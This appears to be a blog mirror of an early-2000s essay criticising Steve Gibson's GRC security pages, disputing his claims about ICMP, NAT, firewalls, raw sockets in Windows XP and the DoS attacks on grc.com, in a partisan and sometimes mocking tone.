The first one is rather long. The original text can be found at, which GRCSucks mirrored, and now I'm mirroring it. It clearly shows that while we would like to think that the Internet is the "ultimate meritocracy", marketing has the final word (or maybe it is a meritocracy, just that it uses other merits than knowledge and information :-().

It focuses a little too much on the nomenclature for my taste (it starts with the age-old hacker vs. cracker debate), it does point out many technical, objective errors in Steve Gibson's writeups. Unfortunately it is very rare (in fact I've never seen it, but maybe it exists just like the Lock Ness monster) for Steve Gibson to react to technical criticisms with coherent, technical arguments.

GRC dissected

David Ford <>

I have extrapolated a number of statements and opinions that have been voiced and summarized or rewritten for clarity.  The meanings remain intact and some are purely mine.  The term *nix is used to generically represent operating systems such as UNIX, Solaris, Linux, OpenBSD, and the like.  The term m$ is generically used to represent operating systems provided by Microsoft Windows.  [(c) and (r) where appropriate]

In preliminary, some responses to statements made.

  • prove it or shut up.  It's already been done by numerous people
  • prove that you are not or shut up.  Read below.
  • sheep.  It entered your mind, not mine.

As to putting myself on display, such activities are silly.  I'm not a marketing droid with big buzz words and flashy lights.  There are numerous very good security related sites that I support, we don't need yet another web site trying to elbow it's way to the front.  As to GRC polarizing the world...ahh, oh-kay.  Laugh of the day?  If I had but a pinch of the derogatory diatribe said about me that is said about him, I would crawl under a rock and die.  He is likened to the blind leading the blind with plastic tools in an industrial plant.  I would dare you to stand up at a convention such as DefCon and say you support GRC.  Remind me to bring ear plugs to soften the laughter.

My ego is certainly not in front here.  It isn't hard for neophytes to compare to GRC.  His grandiose crys of Wolf! are for the media and...well, I'll sleep in while he claims the world is ending.

For those of you who are interested in learning the non-colored facts and getting the story straight I suggest visiting some websites like and  Another handy site that coders like to visit is packetstorm and securify.

One should also take note that even with no supporting clarification or facts backing up statements, the outpouring of laughter and derision alone should make you think twice.

As to supporting statements regarding bots being used for attacks and history, all one need do is a few quick clicks at their favorite search engine, perhaps browsing the eggdrop scripts archives, perhaps searching for IRC and bots and abuse...the number of hits should be quite a-plenty.

For the newbies, when there is such a negative aspersion cast, there is more than likely good reason for it.  The effort of making awareness is a great idea, but it'd sure be nice if the facts were right and there wasn't grandstanding with molehills and mountains.

P1. Why does it seem that all the people attacking GRC come from UNIX with hacker mentalities?

    Succintly in aside, hackers are not malicious, crackers are.  Your common *nix hacker knows a good deal about the inner workings of everything and deals in facts, not pandering.  He is often more interested in accuracy than social diplomacy and will be quick to make it known when there is inaccuracy.  A quote from GRC's Letter to the Internet's Hackers: 

It is my intention to carefully and completely explain, to the entire world, exactly why there is no defense against the sorts of clever Internet attacks you guys can create.

  • He should have correctly stated 'Crackers', not 'Hackers'.
  • There are numerous defenses
  • These attacks he has listed are no more clever than using his friends to egg your house until it's a huge puddle.  Indeed, in later words he turns completely around on this.

*nix users, often referred to as hackers tend to have a strong working knowledge if not in depth knowledge of how things work.  They also tend to possess skill which easily distinguish them from a neophyte.  m$ users are often cast in negative light because they rarely have dealt with the underlying structure of networking.  They understand buzz words and marketing hype but can't explain what an OSI layer really is or how data is classified in it.  Your m$ user typically will be completely lost looking at a stream of hex output when decoding a packet.  Your *nix hacker is likely to lose you with the fast flowing verbal notage as he jumps from number to number.

A *nix hacker's perspective is to figure out why something is doing what it's doing and fix it often without interrupting anything else.  By far and large and with a ratio that towers over others, the most common first response on a m$ problem is to reboot and see if it does it again.  A joke that's gone around the world many times comparing your vehicle to m$, if it doesn't start, everyone get out of the car and get back in and try again.  Your *nix person will run a most likely checklist and be quick to point out that you're out of gas.

*nix people have given something to the world.  They just haven't wrapped it with a Marketing droid.  The differences between *nix and m$ are like a battleship that has been hardened over time and the fancy cruise 40ft'r that keeps breaking down with every bump, squall, and snaggle of seaweed simply because it wasn't designed for the environment it's in.  m$ has a long history of incredibly dumb bugs.  That's my opinion, but even GRC maintains the flaws of m$ and who might I be to argue with that...

There are a LOT of resources on the net, in print, etc.  *nix gurus don't need to hold your hand for you to take a step.

P2: Truth in advertising, misrepresentation of facts, and blatant media pandering.

    Read this letter, .  What can a person do about an attack?  First, analyze what kind of attack it is then the most blunt form of response is to filter that particular packet type by source, port, or type and if your link cannot handle it, make the request from your upstream.  Every respectable upstream provider will happily put up such a simple filter on their ingress ports because it is likely affecting them and/or their other customers.  There is nothing about these DoS attacks that are professional.  Such attacks are disgraceful and show a lack of maturity.

Let's take a look at another GRC page :

Notice carefully how GRC has constructed a pretty graphic with void definition and uses it to say how it obscures the mechanisms used by malicious hackers to evade responsibility and detection.  Does anyone not catch the media specific wording and the lack of attributed value?  Read on.  GRC inaccurately explains how a TTL is used with packets and routers. Routers do not make a supervisory packet when the TTL reaches 0 and the packet ICMP type that is returned is not "unreachable destination".  Routers utilize an Internet Control Message Protocol (ICMP) packet to notify the source IP that the TTL expired.  The ICMP code used is ICMP_TIME_EXCEEDED.  It is an altogether different response that indicates a destination is unreachable, some types are listed for your perusal.

#define ICMP_NET_UNREACH        0       /* Network Unreachable          */
#define ICMP_HOST_UNREACH       1       /* Host Unreachable             */
#define ICMP_PROT_UNREACH       2       /* Protocol Unreachable         */
#define ICMP_PORT_UNREACH       3       /* Port Unreachable             */

A few statements more we read the following:

Today, it is generally true that an Internet data packet may be generated by any computer connected to the Internet, may enter the network at any location, and will be immediately routed to any destination machine specified. Only the Destination IP address is examined — no concern is given to the packet's Source IP address — and no record of the packet's route of travel across the Internet is retained. The packet's Source IP is the only statement of the packet's origin.

If an Internet data packet were carrying an incorrect Source IP, no router or system on the Internet would know or care until the packet arrived at its destination.

Since the inception of the Smurf attack years ago, the ability to spoof source addresses in packets and insert them into the network from any point has become much harder.  It is very common these days to find that your upstream provider blocks any packets with a source IP that does not belong to their IP pool.

Let's cover a few random notes through GRC's various pages for the moment.  GRC makes a distinction between IP masquerading and NAT.  NAT is network address translation.  It comes in three forms.  1:1, 1:many, and many:many.  IP masquerading is most commonly associated with the 1:many form; there is no distinction.  MAC addresses according to GRC are absolutely unique and unchangeable.  Incorrect, every common PCI card on the market today allows you to set the MAC address in soft mode (it will be reset upon power restart) and many of them allow you to permanently change the MAC address.  

GRC is quick to say that
"but in this case every existing machine with a network adapter — regardless of processor — has already lost its anonymity!"  Which is quite misrepresenting the facts.  There is only one specific vendor's OS whose packet traffic 'normally' provides this information.  m$.

About bindings and network protocols.  GRC goes into great detail on how you can make your system incredibly more secure by arranging bindings in a particular structure.  Let me point out here that TCP/IP is the language spoken on the internet, NetBEUI and IPX/SPX cannot transit the internet without encapsulation.  In other words, much ado over with little to gain.

In his test of security by probing your machine, I'll drop my firewall and make all ports available; note that I have also enabled well known security weak services.

  Attempting connection to your computer. . .
Shields UP! is now attempting to contact the Hidden Internet Server within your PC. It is likely that no one has told you that your own personal computer may now be functioning as an Internet Server with neither your knowledge nor your permission. And that it may be serving up all or many of your personal files for reading, writing, modification and even deletion by anyone, anywhere, on the Internet!
Please Note: On highly secure systems this may take up to one minute . . .
  Your Internet port 139 does not appear to exist!
One or more ports on this system are operating in FULL STEALTH MODE! Standard Internet behavior requires port connection attempts to be answered with a success or refusal response. Therefore, only an attempt to connect to a nonexistent computer results in no response of either kind. But YOUR computer has DELIBERATELY CHOSEN NOT TO RESPOND (that's very cool!) which represents advanced computer and port stealthing capabilities. A machine configured in this fashion is well hardened to Internet NetBIOS attack and intrusion.
  Unable to connect with NetBIOS to your computer.
All attempts to get any information from your computer have FAILED. (This is very uncommon for a Windows networking-based PC.) Relative to vulnerabilities from Windows networking, this computer appears to be VERY SECURE since it is NOT exposing ANY of its internal NetBIOS networking protocol over the Internet.

Hmm. Dare I say that until I put my firewall back up and shut down the hazardous services, I am certainly not highly secure nor do I have any advanced computer port stealthing capabilities.  Port 139 packets simply got a reset packet in response to the probe.  Nothing is firewalled and there are no stealhing capabilities engaged.  I continue with a standard GRC port probe.  Again I am not very surprised when the response is inaccurate.  I don't have any stealth ports as is reported to me and the recommendation that I shut down

About the nanoprobes :

Our NanoProbes are tiny, hand crafted, intention-directed packets consisting of just 224, 320 or 352 binary bits:

A Typical NanoProbe

This is a schematic of a functional 224-bit NanoProbe. If this particular probe were
to be dropped into the Internet, it would route itself to the machine at IP address
[ ] which is the United States NSA (National Security Agency). This
NanoProbe asks the machine to verify its existence on the Internet. Interestingly,
although we know a machine exists there, no response has ever been received....

How does one assign intention in a packet?  If anyone has taken the time to take this apart, it doesn't match up.  Possibly this is only data from the packet body. More interestingly, a response is received.  ICMP message of 'destination unreachable'.  Probably firewalled is my guess, wouldn't you?

P3: Naivety

    Let's take this statement from GRC and reflect on it.  " ... I was walking back to my office with a fresh cup of coffee, thinking about the immensity of this Windows security problem. That's when it hit me: I could determine the IP address of someone browsing the pages of my web server ..."  Hmmm.  I'll skip the retort but suffice to say, if your server doesn't know the IP address of the requestor, how could it return the requested data.

" A firewall ABSOLUTELY ISOLATES your computer from the Internet using a "wall of code" that inspects each individual "packet" of data as it arrives at either side of the firewall — inbound to or outbound from your computer — to determine whether it should be allowed to pass or be blocked. "

A firewall does nothing without having been properly configured.  He goes on to say that someday firewalls will be standard equipment on all {PCs}.  Note that I make editorial corrections.  Firewalls have been available on personal computers for over ten years.

Later in this discussion about firewalls, GRC muddles the definitions what bits are associated with what types of packets.  He appears to only be aware of TCP packets and not aware that UDP is stateless, not requiring acknoledgement packets or session setup.  There is nothing wrong about being naive, only that you misrepresent yourself as an expert and pander to the media as such.

  I think my system is already infected by a Trojan horse program.
Will a firewall help me?
  Sure, absolutely. Since a firewall checks, scans, and blocks traffic flowing both ways through it, both into and out of your computer, you should be able to easily prevent unauthorized communication by a Trojan horse program. Note, though, that you should also really consider removing that suspected Trojan from your machine. It's just not safe having a bad program running inside your machine. You can never know for sure what it might do!

Again he postures that a firewall is an absolute help.  A firewall is useless without being properly configured, even worse a misconfigured firewall can represent a greater security risk.

  Is a software firewall running on a machine less secure than a completely separate hardware firewall peripheral?
  In an "absolute" sense I suppose that no software solution could be as safe as having a separate "appliance" acting only as a firewall. However the least expensive of those costs about $350 US, whereas there are extremely effective software firewalls that are completely free.

If you're asking whether software firewalls can be in some fashion "penetrated" or compromised by external software, the answer is absolutely not. Due to the way these packages operate they are invulnerable to external attack and they are more easily updated as new types of attacks are discovered.

Sadly he again perpetuates absolutes where he is "absolutely" wrong.  All firewall devices that I'm aware of use software...and I've seen far too many security updates on firewall products to allow for any accuracy in his statement.

  I'm using NAT (Network Address Translation). Doesn't this means that I'm pretty safe?
  Yes. Network Address Translation such as the Internet Connection Sharing (ICS) built into the second edition of Windows 98, allows multiple computers to share a single Internet connection. This is accomplished by assigning "private" IP addresses to the sharing machines. Since the external Internet sees only the single IP address of the NAT translating computer, there's absolutely no way for external Internet scanners to reach past the translating computer. This creates a high degree of security for the machines "behind" the main NAT computer.

Apparently he is not aware of methods some of the smarter hackers can use to blindly sleuth out routing and get seemingly insipid data past a NAT device.  NAT may hide things very well but it is not a perfect solution.

I again believe that I'm writing about and discussing something that's in the very early stages of BECOMING A HUGE PROBLEM for all Internet-connected Windows users. The following pages describe highly effective proactive measures that anyone can take to "raise their shields" against the forthcoming onslaught. But first, you need to know about the "Password Crackers" so please read on . . .

If anyone cares to enlighten Mr. Gibson, we need to step back many years to point out the beginnings of security problems.

Let's talk about the DoS page he put up :

It is impossible for an application running under
any version of Windows 3.x/95/98/ME or NT
to "spoof" its source IP or generate malicious
TCP packets such as SYN or ACK floods.

Do I need to point to the numerous emails that have already proven how easy it is to roll your own and go?  Again, naivety is ok but making bold statements purporting fact such as this is more damaging than supportive.  His next statement clarifies this slightly but he again takes the stage saying that modified operating systems are irrelevant.  I'm sorry to say that the typical windows user has had more than one virus infection which has modified system files.  This is certainly a relevant factor.

Why Windows XP will be the
Denial of Service
Exploitation Tool of Choice
for Internet Hackers Everywhere

Any credible cracker or hacker has long since recognized that he has much more power and capability in *nix systems.  *nix gives you the ability to do nearly anything you can dream up in bit land.  Even that may be an understatement.

Spoofarino, a grandios name with much hoopla.  Hundreds of programs have been written for years that forge spoofed packets.  'tis like getting excited over color TV. His page  has numerous comments about how difficult it is to properly filter.  This filtering and ability to locate bad traffic at an ISP should be very easy...frankly, if you don't know how to do this, you shouldn't be wearing the Network Engineer hat.  Your journeyman apprentice should have learned how to do these things his first year.

As to raw socket support, the operating system itself certainly does have the support.  The API layers in between the wire and the userland program may not be fully connected but that doesn't mean it doesn't exist.  Think about it for a moment and you'll realize that somewhere "deep in the kernel", a socket is created out of nothingness and values are filled in.  All network devices must be capable of this support.  Accessing this support is a matter of choosing your tool.

Note: I am FULLY aware that full raw socket-style access can be created by modifying any standard Windows operating systems through the addition of third-party device drivers. I have been a user of such tools for years. However, as I demonstrate below, aftermarket operating system modifications have proven to be irrelevant to the purposes of malicious hackers.

Hmm.  Why does he ramble on for (long) page after page about the incredible and amazing dangers of raw socket support in XP AND goes on and on about how insecure m$ is and that files can be accessed and replaced with the utmost of ease.....and he turns right around and says that it is irrelevant?

Are there two kinds of crackers here, one puts trojans on your system but he refuses to install support for raw sockets, and one who installs support for the raw sockets but only on his personal machine?  GRC panders to the media with flashy graphics and show business words.  His content is often refuting itself and often misleading altogether.

If "Junior" and his XP gang (also taken from the winxp page) wanted to spoof packets without much skill in stack support, I'm quite sure they would have acquired a form of *nix long before this future dramatical story of WinXP will take place.

His calculations for a SYN packet size are incorrect and can certainly be different.  Depending on the target system it will react very different from a SYN flood.  I can sit and watch a *nix server handle a syn flood with deference.  All this noise about raw sockets in XP is like making a big fuss that you're getting wet from a drizzle when the dam just broke five miles up from you.

The huge number of Windows XP machines will motivate
hackers to find new ways into those machines — AND
THEY WILL.   Then users of Windows XP machines will
become the most sought-after target for penetration.

Here he calls this a corollary.  Part of this is certinaly true.  Along with the plethura of any new toy comes the desire to play with it.  However I fully disagree with the last sentence, I do not doubt that *nix systems are a much more appetizing treat due to their powerful abilities.

When those insecure and maliciously potent Windows XP
machines are mated to high-bandwidth Internet connections,
we are going to experience an escalation of Internet
terrorism the likes of which has never been seen before.

Hmm, my adrenaline hasn't jumped.  Actually this is getting boring.  Rarely do I like taking m$'s side but here I must.  m$ has been doing an admirable job cleaning up their code.  Unfortunately they started repairing and redesigning the house long after the house was built.  They have a long ways to go.  I sincerely believe that XP will not be the horror that GRC is grandstanding about.

Continuing on...

From Jargon File (4.2.3, 23 NOV 2000) :
  zombie n. [Unix] A process that has died but has not yet
  relinquished its process table slot (because the parent process hasn't
  executed a `wait(2)' for it yet).  These can be seen in `ps(1)' listings
  occasionally.  Compare orphan.

Having misrepresented the proper names again, GRC calls the DoS bots Zombies.  Background processes are more commonly referred to as daemons or...background processes!  There is no relation to a zombie process for m$ in the available dictionaries.

However, the hackers were apparently watching our success at blocking their attacks. So two hours later the attack resumed, this time aimed at one of the two T1 interfaces of our Cisco router. This again knocked us off the Internet because malicious traffic was again crossing our bandwidth-limited T1's to our local router. Back on the phone to Verio, we decided to completely shut down that T1. GRC.COM limped back onto the Internet running on a single T1.

Here I feel the need to point out that it's a simple and wise consideration that many network engineers take; use unnumbered interfaces or use private IP space numbering when connecting interlink devices.  Had the routers been properly configured with 10.0.0.x/24 for example, the attack could never have happened in the first place unless the attack originated within Verio's network space.  And if that happened, there are much more alarming things to worry about.


The attacking Windows machines generate maximum-size 64k byte UDP packets, but only the first 1500 byte "fragment" of each packet carries the packet's port "666" destination. Therefore, for every identified "666" packet blocked, approximately 43 additional maximum-size "packet fragments" were also blocked. We therefore estimate that our filters running in Verio's router blocked at least 538,916,268 malicious packets that night.

Hmmm.  Let's do the math again.  Cisco's don't magically record the first frag packet and invisibly drop the rest.  Either it was all counted or the majority of the attack got through and seeing how he states that GRC was still online, I'll take the first.

I wanted these attacks to stop, but I was certainly in no position to make any "parental" demands of "Wicked". While we were essentially functional, hiding behind our router filters, we could not remain behind them forever. We were unable to send and receive "ping", "trace route" and UDP fragments — all crucial requirements for full Internet function. In the long term this would pose serious problems for the delivery of GRC's Internet security testing services.

It's very easy to selectively grant packet travel and also easy to allow traffic based on given rules, session establishments, and a variety of methodologies.  A cisco router is nothing but a computer specifically designed to route packets.  You can use a variety of firewalls such as those that exist on Linux and *BSD that have a fast path design to handle the load and you can weather a heavy packet storm without worry.  A heavy use router shouldn't be acting as a firewall in the first place.  Firewalls are firewalls and routers are routers.

On an off note here, I'll comment that GRC goes to length to say how @home is a haven for abuse.  I'd like to point out that in my neck of the woods, is both knowledgable and responsive regarding security.  I'll also say with a bit of a dour note that my professional experience with the FBI has led me to "wince and bear it" while doing a job.  Sometimes you can get an agent that has a clue but it isn't often.

This next section made me smile, I'll post it then comment :

While I was watching this sad drama, suddenly and with no warning everything went crazy: The packet sniffer's packet display became a blur as its scrollbar "thumb" rapidly shrunk to its minimum size. Thousands of packets were being logged per second! Since I was nervous during this first incursion into hacker territory, my first thought was that I had somehow already been discovered, and my little "Sitting Duck" laptop was under attack.

But the cable-modem I was using to guarantee my anonymity revealed the truth: The RECEIVE light was dark, but the TRANSMIT light was ON SOLID!

I immediately shut down the Zombie-infected PC and scrolled the packet log back before the beginning of the attack. I found the command that the Zombie running in my laptop had received just before all hell broke loose . . .

My laptop had participated in an all-out Denial
of Service attack against a machine in Finland!

Yikes! This was unacceptable. I wanted to keep active Zombies running here so that I could study their behavior, but I could not have them participating in Internet Denial of Service attacks. So I hacked the Zombie to kill its ability to send damaging packets.

>From that point on I ran only
"Attack-Neutered Mutant Zombies"

Woah.  The light dawns on the era of bots. (Actually it's been on for years.) A cable modem guarantees anonymity.  That's a new one.  Any responsible investigator would have placed a firewall in the middle and logically decoded the program before running it.

Pulling the plug on your machine simply because you find that port 113 is being listened to is..well, humorous.  Please, know more about what you're doing and why and how you are reacting.

To anyone who is still stubborn enough to insist that BlackICE Defender is actually good for something: PLEASE do not write to me. I don't want to hear it. I'm a scientist who will not find your mystic beliefs to be compelling. I respect your right to your own opinions, no matter how blatantly they fly in the face of logic and reality. That is, after all, the nature of faith. Happy computing. I suggest prayer.

Hmm.  Might I suggest he entertain his own self with prayers.  We have now some examples where his logic refutes itself within his own website.  He writes letters to the internet's hackers soothing their egos about their cleverness then turns around and state the attacks had no finesse, no cleverness.  He uses terminology in mixed ways, calling a widget X at one time and Y at another time.  He has pulled "hacker words" and used grandiose highlighting to bring attention to statements that have no sharpness to them.

In short, this attack can be summarized into the following: was hit by several DoS attacks on <dates> using icmp and udp floods.  these floods are typical of the particular irc flood bot <insert short description blurb>.

The summary can be fleshed out with facts but it is hardly worth the huge media hyping and pandering.  If an omniscient being could tally up for us on a web page the number of DoS attacks related to IRC alone, I'm sure you'd lose interest after the first dozen lines.  IRC related DoS attacks are frequent and if we were to count EFNet alone, we would measure thousands per day. All one need do is find a source of information and keep their mouth shut and they'll soon realize that it's a nasty world out on the internet.

Now you've had a long read with no shouting matches going on.  Go forth and learn.